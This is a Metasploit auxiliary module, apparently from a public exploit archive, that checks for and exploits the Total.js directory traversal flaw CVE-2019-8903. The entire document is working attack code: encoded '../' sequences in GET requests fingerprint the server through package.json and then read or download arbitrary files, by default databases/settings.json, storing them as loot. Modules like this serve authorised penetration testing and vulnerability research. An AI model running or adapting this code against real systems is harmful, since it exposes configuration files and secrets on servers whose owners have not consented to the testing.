Total.js Prior To 3.2.4 Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
# Check and exploit Total.js Directory Traversal (CVE-2019-8903)  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Total.js prior to 3.2.4 Directory Traversal',  
'Description' => %q(  
This module check and exploits a directory traversal vulnerability in Total.js prior to 3.2.4.  
  
Here is a list of accepted extensions: flac, jpg, jpeg, png, gif, ico, js, css, txt, xml,  
woff, woff2, otf, ttf, eot, svg, zip, rar, pdf, docx, xlsx, doc, xls, html, htm, appcache,  
manifest, map, ogv, ogg, mp4, mp3, webp, webm, swf, package, json, md, m4v, jsx, heif, heic  
),  
'Author' =>  
[  
'Riccardo Krauter', # Discovery  
'Fabio Cogno' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2019-8903'],  
['CWE', '22'],  
['URL', 'https://blog.totaljs.com/blogs/news/20190213-a-critical-security-fix/'],  
['URL', 'https://security.snyk.io/vuln/SNYK-JS-TOTALJS-173710']  
],  
'Privileged' => false,  
'DisclosureDate' => '2019-02-18',  
'Actions' =>  
[  
['CHECK', { 'Description' => 'Check if the target is vulnerable' }],  
['READ', { 'Description' => 'Attempt to print file content' }],  
['DOWNLOAD', { 'Description' => 'Attempt to download a file' }]  
],  
'DefaultAction' => 'CHECK'))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'Path to Total.js App installation', '/']),  
OptInt.new('DEPTH', [true, 'Traversal depth', 1]),  
OptString.new('FILE', [true, 'File to obtain', 'databases/settings.json'])  
]  
)  
end  
  
def check_ext  
extensions = %w[  
flac jpg jpeg png gif ico js css txt xml  
woff woff2 otf ttf eot svg zip rar pdf  
docx xlsx doc xls html htm appcache  
manifest map ogv ogg mp4 mp3 webp webm  
swf package json md m4v jsx heif heic  
]  
  
ext = datastore['FILE'].split('.').last  
  
unless extensions.include? ext  
print_warning "Extension #{ext} is not supported by the HTTP static route of the framework"  
end  
end  
  
def check  
uri = normalize_uri(target_uri.path) + '%2e%2e%2fpackage.json'  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => uri  
)  
if res && res.code == 200  
json = res.get_json_document  
if json.empty? || !json['dependencies']['total.js']  
return Exploit::CheckCode::Safe  
else  
print_status("Total.js version is: #{json['dependencies']['total.js']}")  
print_status("App name: #{json['name']}")  
print_status("App description: #{json['description']}")  
print_status("App version: #{json['version']}")  
return Exploit::CheckCode::Vulnerable  
end  
elsif res && res.headers['X-Powered-By'].to_s.downcase.include?('total.js')  
print_status('Target appear to be vulnerable!')  
print_status("X-Powered-By: #{res.headers['X-Powered-By']}")  
return Exploit::CheckCode::Detected  
else  
vprint_warning('No response')  
return Exploit::CheckCode::Unknown  
end  
end  
  
def read  
check_ext  
traverse = '%2e%2e%2f' * datastore['DEPTH']  
uri = normalize_uri(target_uri.path) + traverse + datastore['FILE']  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => uri  
)  
unless res  
fail_with(Failure::Unreachable, 'Connection failed')  
end  
if res.code != 200  
print_error("Unable to read '#{datastore['FILE']}', possibly because:")  
print_error("\t1. File does not exist.")  
print_error("\t2. No permission.")  
return  
end  
print_status("Getting #{datastore['FILE']}...")  
print_line(res.body)  
end  
  
def download  
check_ext  
traverse = '%2e%2e%2f' * datastore['DEPTH']  
uri = normalize_uri(target_uri.path) + traverse + datastore['FILE']  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => uri  
)  
unless res  
fail_with(Failure::Unreachable, 'Connection failed')  
end  
if res.code != 200  
print_error("Unable to read '#{datastore['FILE']}', possibly because:")  
print_error("\t1. File does not exist.")  
print_error("\t2. No permission.")  
return  
end  
fname = datastore['FILE'].split('/')[-1].chop  
ctype = res.headers['Content-Type'].split(';')  
loot = store_loot('lfi.data', ctype[0], rhost, res.body, fname)  
print_good("File #{fname} downloaded to: #{loot}")  
end  
  
def run  
case action.name  
when 'CHECK'  
check  
when 'READ'  
read  
when 'DOWNLOAD'  
download  
end  
end  
end  
`